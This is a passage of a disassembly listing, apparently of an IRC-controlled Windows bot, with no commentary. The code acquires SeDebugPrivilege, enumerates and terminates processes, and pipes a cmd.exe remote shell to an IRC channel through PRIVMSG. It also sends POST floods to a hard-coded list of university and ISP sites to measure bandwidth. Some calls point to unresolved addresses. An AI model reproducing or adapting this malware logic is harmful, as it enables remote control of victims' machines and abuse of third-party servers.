; ---------------------------------------------------------------------------
loc_4132DF: ; CODE XREF: sub_4131C9+C2j
; sub_4131C9+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_4132EB
; ---------------------------------------------------------------------------
loc_4132E6: ; CODE XREF: sub_4131C9+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_4132EB: ; CODE XREF: sub_4131C9+40j
; sub_4131C9+4Aj ...
push offset dword_4DA880
call sub_4171D0
pop ecx
mov eax, offset dword_4DA880
pop ecx
retn
sub_4131C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4132FD proc near ; CODE XREF: sub_403038+2861p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_419D00
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 26E0000h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_419D00
lea eax, [ebp+var_718]
push eax
call sub_41A800
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_445358
test eax, eax
jnz short loc_41338D
mov esi, offset dword_4DA67C
push offset unk_442FA8
push esi
call sub_4171D0
pop ecx
pop ecx
jmp short loc_4133B6
; ---------------------------------------------------------------------------
loc_41338D: ; CODE XREF: sub_4132FD+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_4131C9
pop ecx
mov esi, offset dword_4DA67C
push eax
push offset dword_442FD0
push esi
call sub_4171D0
add esp, 14h
loc_4133B6: ; CODE XREF: sub_4132FD+8Ej
mov eax, esi
pop esi
leave
retn
sub_4132FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4133BB proc near ; CODE XREF: sub_411F81+7p
; sub_413426+5Fp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 2730F02h
nop
push eax
call dword_44532C
test eax, eax
jnz short loc_4133DA
leave
retn
; ---------------------------------------------------------------------------
loc_4133DA: ; CODE XREF: sub_4133BB+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_445304
test eax, eax
jz short loc_413418
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_413401
or [ebp+var_8], 2
jmp short loc_413405
; ---------------------------------------------------------------------------
loc_413401: ; CODE XREF: sub_4133BB+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_413405: ; CODE XREF: sub_4133BB+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4453B4
mov esi, eax
loc_413418: ; CODE XREF: sub_4133BB+32j
push [ebp+var_4]
call near ptr 267009Bh
nop
mov eax, esi
pop esi
leave
retn
sub_4133BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413426 proc near ; CODE XREF: sub_403038+2D7Dp
; sub_413669+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_445368, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_413639
cmp dword_44534C, ebx
jz loc_413639
cmp dword_44525C, ebx
jz loc_413639
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_4133BB
pop ecx
pop ecx
push ebx
push 0Fh
call dword_445368
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_41362C
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_44534C
mov esi, dword_4DD2BC
test eax, eax
jz loc_413627
lea eax, [ebp+var_130]
push eax
push edi
call dword_44525C
test eax, eax
jz loc_413627
mov edi, dword_4DD2E8
mov ebx, 1F0FFFh
loc_4134EA: ; CODE XREF: sub_413426+1F9j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_413551
mov [ebp+var_4], offset off_443000
loc_4134F8: ; CODE XREF: sub_413426+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
nop
call near ptr 28111B8h
test eax, eax
jz short loc_413520
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_443060
jl short loc_4134F8
jmp loc_41360D
; ---------------------------------------------------------------------------
loc_413520: ; CODE XREF: sub_413426+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_41360D
push 0
push eax
call near ptr 27308F4h
nop
test eax, eax
jnz loc_41360D
loc_413547: ; CODE XREF: sub_413426+1CDj
push [ebp+var_4]
call esi
jmp loc_41360D
; ---------------------------------------------------------------------------
loc_413551: ; CODE XREF: sub_413426+C9j
cmp [ebp+arg_C], eax
jnz loc_4135F8
cmp [ebp+arg_4], eax
jz loc_41360D
push [ebp+var_128]
push 8
call dword_445368
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_4135B8
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_445208
push [ebp+var_128]
test eax, eax
jz short loc_4135AA
lea eax, [ebp+var_234]
push eax
push offset aSD ; " %s (%d)"
jmp short loc_4135CA
; ---------------------------------------------------------------------------
loc_4135AA: ; CODE XREF: sub_413426+174j
lea eax, [ebp+var_10C]
push eax
push offset aSD_0 ; " %s (%d)"
jmp short loc_4135CA
; ---------------------------------------------------------------------------
loc_4135B8: ; CODE XREF: sub_413426+15Cj
push [ebp+var_128]
lea eax, [ebp+var_10C]
push eax
push offset aSD_1 ; " %s (%d)"
loc_4135CA: ; CODE XREF: sub_413426+182j
; sub_413426+190j
lea eax, [ebp+var_554]
push eax
call sub_4171D0
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 14h
jmp loc_413547
; ---------------------------------------------------------------------------
loc_4135F8: ; CODE XREF: sub_413426+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_413640
loc_41360D: ; CODE XREF: sub_413426+F5j
; sub_413426+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_44525C
test eax, eax
jnz loc_4134EA
xor ebx, ebx
loc_413627: ; CODE XREF: sub_413426+9Dj
; sub_413426+B3j
push [ebp+var_8]
call esi
loc_41362C: ; CODE XREF: sub_413426+77j
push ebx
push offset aSedebugprivi_0 ; "SeDebugPrivilege"
call sub_4133BB
pop ecx
pop ecx
loc_413639: ; CODE XREF: sub_413426+3Aj
; sub_413426+46j ...
xor eax, eax
loc_41363B: ; CODE XREF: sub_413426+241j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_413640: ; CODE XREF: sub_413426+1E5j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
nop
call near ptr 27308F4h
test eax, eax
jnz short loc_413664
push edi
call esi
jmp short loc_413639
; ---------------------------------------------------------------------------
loc_413664: ; CODE XREF: sub_413426+237j
push 1
pop eax
jmp short loc_41363B
sub_413426 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413669 proc near ; DATA XREF: sub_403038+3B03o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_4431F8
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_4171D0
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_4136C8
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_401445
add esp, 14h
loc_4136C8: ; CODE XREF: sub_413669+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_413426
add esp, 18h
test eax, eax
jnz short loc_4136F0
push offset unk_443218
jmp short loc_4136F5
; ---------------------------------------------------------------------------
loc_4136F0: ; CODE XREF: sub_413669+7Ej
push offset unk_44323C
loc_4136F5: ; CODE XREF: sub_413669+85j
lea eax, [ebp+var_298]
push eax
call sub_4171D0
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_413728
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_401445
add esp, 14h
loc_413728: ; CODE XREF: sub_413669+9Dj
lea eax, [ebp+var_298]
push eax
call sub_410557
push [ebp+var_14]
call sub_40916F
pop ecx
pop ecx
push esi
nop
call near ptr 2700000h
pop edi
pop esi
sub_413669 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_413747 proc near ; CODE XREF: sub_403038+2D4Bp
; sub_408F8E+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
nop
call near ptr 26B0000h
mov esi, eax
test esi, esi
jz short loc_413779
push 0
push esi
call near ptr 27308F4h
nop
test eax, eax
jnz short loc_413779
push esi
xor edi, edi
nop
call near ptr 267009Bh
loc_413779: ; CODE XREF: sub_413747+1Aj
; sub_413747+27j
mov eax, edi
pop edi
pop esi
retn
sub_413747 endp
; ---------------------------------------------------------------------------
word_41377E dw 3356h ; DATA XREF: ___:00402B59o
dd 56016AF6h, 56565656h, 0FFFC99E8h, 18C483FFh, 2FFC35FFh
dd 0E8900044h, 227CDFDh
db 0EBh, 0E3h
; =============== S U B R O U T I N E =======================================
sub_41379E proc near ; CODE XREF: sub_4137CE+2Ap
; sub_413806+7Ep ...
mov eax, dword_4DAEE8
push esi
mov esi, dword_4DD2BC
cmp eax, 0FFFFFFFFh
jz short loc_4137B2
push eax
call esi
loc_4137B2: ; CODE XREF: sub_41379E+Fj
mov eax, dword_4DAEF0
cmp eax, 0FFFFFFFFh
jz short loc_4137BF
push eax
call esi
loc_4137BF: ; CODE XREF: sub_41379E+1Cj
mov eax, dword_4DAEE4
cmp eax, 0FFFFFFFFh
jz short loc_4137CC
push eax
call esi
loc_4137CC: ; CODE XREF: sub_41379E+29j
pop esi
retn
sub_41379E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4137CE proc near ; CODE XREF: sub_403038+2AA1p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_414BE0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DAEEC
nop
call near ptr 2720000h
test eax, eax
jnz short loc_413801
call sub_41379E
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_413801: ; CODE XREF: sub_4137CE+28j
push 1
pop eax
leave
retn
sub_4137CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413806 proc near ; CODE XREF: sub_41388D+D3p
; sub_41388D+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset dword_4DAF30
push [ebp+arg_4]
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_413849
push 7D0h
nop
call near ptr 2690599h
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_4171D0
add esp, 10h
jmp short loc_413860
; ---------------------------------------------------------------------------
loc_413849: ; CODE XREF: sub_413806+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_24 ; "%s"
push eax
call sub_4171D0
add esp, 0Ch
loc_413860: ; CODE XREF: sub_413806+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_445398
test eax, eax
jg short loc_413889
call sub_41379E
loc_413889: ; CODE XREF: sub_413806+7Cj
xor eax, eax
leave
retn
sub_413806 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41388D proc near ; DATA XREF: sub_4139E2+174o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DAEF4
loc_4138A5: ; CODE XREF: sub_41388D+79j
; sub_41388D+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DAEE8
nop
call near ptr 2811963h
test eax, eax
jz loc_413973
cmp [ebp+var_4], edi
jnz short loc_413908
lea eax, [ebp+var_8]
push eax
push dword_4DAEE4
nop
call near ptr 2811561h
test eax, eax
jz short loc_4138FE
cmp [ebp+var_8], 103h
jnz loc_413997
loc_4138FE: ; CODE XREF: sub_41388D+62j
push 0Ah
nop
call near ptr 2690599h
jmp short loc_4138A5
; ---------------------------------------------------------------------------
loc_413908: ; CODE XREF: sub_41388D+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41391F
loc_41390F: ; CODE XREF: sub_41388D+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_41396D
inc eax
cmp eax, [ebp+var_4]
jb short loc_41390F
loc_41391F: ; CODE XREF: sub_41388D+80j
mov [ebp+var_4], esi
loc_413922: ; CODE XREF: sub_41388D+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DAEE8
nop
call near ptr 2730000h
test eax, eax
jz short loc_4139BF
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DAF28
call sub_413806
add esp, 0Ch
jmp loc_4138A5
; ---------------------------------------------------------------------------
loc_41396D: ; CODE XREF: sub_41388D+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_413922
; ---------------------------------------------------------------------------
loc_413973: ; CODE XREF: sub_41388D+45j
push offset unk_443274
push ebx
push dword_4DAF28
call sub_413806
push [ebp+arg_0]
call sub_40916F
add esp, 10h
push 1
nop
call near ptr 2700000h
loc_413997: ; CODE XREF: sub_41388D+6Bj
call sub_41379E
push offset unk_4432A4
push ebx
push dword_4DAF28
call sub_413806
push [ebp+arg_0]
call sub_40916F
add esp, 10h
push edi
nop
call near ptr 2700000h
loc_4139BF: ; CODE XREF: sub_41388D+C3j
push offset unk_4432CC
push ebx
push dword_4DAF28
call sub_413806
push [ebp+arg_0]
call sub_40916F
add esp, 10h
push edi
nop
call near ptr 2700000h
sub_41388D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4139E2 proc near ; CODE XREF: sub_403038+3962p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push esi
push edi
call sub_41379E
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe_0 ; "cmd.exe"
push esi
call dword_445404
test eax, eax
jz loc_413ADC
lea eax, [ebp+var_1C]
mov edi, dword_4DD348
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], 1
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_413ADC
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_413ADC
mov edi, dword_4DD344
push 3
push esi
push esi
push offset dword_4DAEEC
call edi
push eax
push [ebp+var_8]
call edi
push eax
nop
call near ptr 27309FCh
test eax, eax
jz short loc_413ADC
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_417070
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_417070
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
lea eax, [ebp+var_178]
push offset dword_4DAF34
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call near ptr 267039Fh
nop
test eax, eax
jnz short loc_413AE4
loc_413ADC: ; CODE XREF: sub_4139E2+2Ej
; sub_4139E2+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_413B96
; ---------------------------------------------------------------------------
loc_413AE4: ; CODE XREF: sub_4139E2+F8j
push [ebp+var_4]
mov edi, dword_4DD2BC
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DAEE8, eax
mov eax, [ebp+var_8]
mov dword_4DAEF0, eax
mov eax, [ebp+var_2C]
mov dword_4DAEE4, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DAF28, eax
jz short loc_413B1E
push [ebp+arg_4]
jmp short loc_413B23
; ---------------------------------------------------------------------------
loc_413B1E: ; CODE XREF: sub_4139E2+135j
push offset dword_4DAF38
loc_413B23: ; CODE XREF: sub_4139E2+13Aj
push offset dword_4DAEF4
call sub_4171D0
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_443304
call sub_408E53
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_446218[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41388D
push esi
push esi
nop
call near ptr 26A08FFh
cmp eax, esi
mov dword_446224[edi], eax
jnz short loc_413B94
nop
call near ptr 26908EFh
push eax
lea eax, [ebp+var_378]
push offset unk_443328
push eax
call sub_4171D0
lea eax, [ebp+var_378]
push eax
call sub_410557
add esp, 10h
loc_413B94: ; CODE XREF: sub_4139E2+189j
xor eax, eax
loc_413B96: ; CODE XREF: sub_4139E2+FDj
pop edi
pop esi
leave
retn
sub_4139E2 endp
; =============== S U B R O U T I N E =======================================
sub_413B9A proc near ; CODE XREF: sub_413D8F+CBp
; sub_413D8F+DDp ...
arg_0 = dword ptr 4
nop
call near ptr 26C05FFh
push eax
call sub_417B00
pop ecx
call sub_417B10
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_413B9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413BB4 proc near ; CODE XREF: sub_413D8F+D4p
; sub_413D8F+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_414BE0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_413D8B
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_417070
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_402561
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_413D8B
push 50h
call dword_445348
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4453C8
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_413D8B
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4452F0
cmp eax, 0FFFFFFFFh
jz loc_413D8B
push 32003h
call sub_419BB0
mov edi, dword_4DD304
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi
push eax
call sub_417B00
call sub_417B10
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_417070
push 32000h
push esi
push ebx
call sub_417070
push ebx
call sub_414BE0
push 323EAh
mov ebx, eax
call sub_419BB0
push ebx
mov esi, eax
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_4171D0
push [ebp+var_8]
push esi
call sub_4184D0
push offset asc_443390 ; "\r\n"
push esi
call sub_4184D0
add esp, 40h
push esi
call sub_414BE0
mov ebx, eax
pop ecx
mov [ebp+var_10], ebx
call edi
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_413D0B
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_413CDB
; ---------------------------------------------------------------------------
loc_413CD8: ; CODE XREF: sub_413BB4+155j
mov eax, [ebp+arg_0]
loc_413CDB: ; CODE XREF: sub_413BB4+122j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_413CEB
push [ebp+var_C]
jmp short loc_413CEC
; ---------------------------------------------------------------------------
loc_413CEB: ; CODE XREF: sub_413BB4+130j
push ebx
loc_413CEC: ; CODE XREF: sub_413BB4+135j
add eax, esi
push eax
push [ebp+var_4]
call dword_445398
cmp eax, 0FFFFFFFFh
jz short loc_413D72
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_413CD8
loc_413D0B: ; CODE XREF: sub_413BB4+118j
call edi
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_433494
fst [ebp+arg_0]
fcomp flt_433490
fnstsw ax
sahf
jnz short loc_413D33
fld1
fstp [ebp+arg_0]
loc_413D33: ; CODE XREF: sub_413BB4+178j
push [ebp+var_4]
call dword_4453E0
push [ebp+var_8]
call sub_415820
push esi
call sub_415820
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_43348C
fmul flt_433488
call sub_41915C
loc_413D6D: ; CODE XREF: sub_413BB4+1D9j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_413D72: ; CODE XREF: sub_413BB4+147j
push [ebp+var_4]
call dword_4453E0
push [ebp+var_8]
call sub_415820
push esi
call sub_415820
pop ecx
pop ecx
loc_413D8B: ; CODE XREF: sub_413BB4+19j
; sub_413BB4+42j ...
xor eax, eax
jmp short loc_413D6D
sub_413BB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413D8F proc near ; CODE XREF: sub_403038+41CAp
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_413B9A
push [ebp+eax*4+var_3C]
call sub_413BB4
push 8
mov esi, eax
call sub_413B9A
push [ebp+eax*4+var_3C]
call sub_413BB4
add esp, 10h
test esi, esi
jz short loc_413E90
test eax, eax
jz short loc_413E8C
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_413E92
; ---------------------------------------------------------------------------
loc_413E8C: ; CODE XREF: sub_413D8F+F4j
mov ebx, esi
jmp short loc_413E92
; ---------------------------------------------------------------------------
loc_413E90: ; CODE XREF: sub_413D8F+F0j
mov ebx, eax
loc_413E92: ; CODE XREF: sub_413D8F+FBj
; sub_413D8F+FFj
push 0Ch
call sub_413B9A
push [ebp+eax*4+var_6C]
call sub_413BB4
push 0Ch
mov edi, eax
call sub_413B9A
push [ebp+eax*4+var_6C]
call sub_413BB4
add esp, 10h
test edi, edi
jz short loc_413ECA
test eax, eax
jz short loc_413EC6
lea esi, [eax+edi]
shr esi, 1
jmp short loc_413ECC
; ---------------------------------------------------------------------------
loc_413EC6: ; CODE XREF: sub_413D8F+12Ej
mov esi, edi
jmp short loc_413ECC
; ---------------------------------------------------------------------------
loc_413ECA: ; CODE XREF: sub_413D8F+12Aj
mov esi, eax
loc_413ECC: ; CODE XREF: sub_413D8F+135j
; sub_413D8F+139j
push 6
call sub_413B9A
push [ebp+eax*4+var_1C]
call sub_413BB4
push 6
mov edi, eax
call sub_413B9A
push [ebp+eax*4+var_1C]
call sub_413BB4
add esp, 10h
test edi, edi
jz short loc_413F04
test eax, eax
jz short loc_413F00
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_413F06
; ---------------------------------------------------------------------------
loc_413F00: ; CODE XREF: sub_413D8F+168j
mov ecx, edi
jmp short loc_413F06
; ---------------------------------------------------------------------------
loc_413F04: ; CODE XREF: sub_413D8F+164j
mov ecx, eax
loc_413F06: ; CODE XREF: sub_413D8F+16Fj
; sub_413D8F+173j
xor eax, eax
test ebx, ebx
jz short loc_413F13
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_413F16
; ---------------------------------------------------------------------------
loc_413F13: ; CODE XREF: sub_413D8F+17Bj
push 2
pop edi
loc_413F16: ; CODE XREF: sub_413D8F+182j
test esi, esi
jz short loc_413F1E
add eax, esi
